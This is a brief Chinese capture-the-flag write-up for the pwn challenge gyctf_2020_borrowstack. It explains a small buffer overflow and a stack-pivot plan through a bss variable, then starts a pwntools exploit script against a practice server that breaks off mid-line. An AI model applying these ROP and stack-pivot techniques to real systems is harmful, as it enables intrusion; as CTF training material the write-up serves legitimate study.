【pwn】 gyctf_2020_borrowstack

例行檢查 程序邏輯 看到buf緩衝區有0x10大小溢出,且能夠控制bss段上的bank,能夠用棧遷移作,這題的bss段離got表較近,在遷移時儘可能往高地址遷移,防止在rop時破壞got表上數據。node from pwn import * io=remote('node3.buuoj.cn','29302') bank=0x0601080 leave=0x400699 puts_plt=0x
相關文章
相關標籤/搜索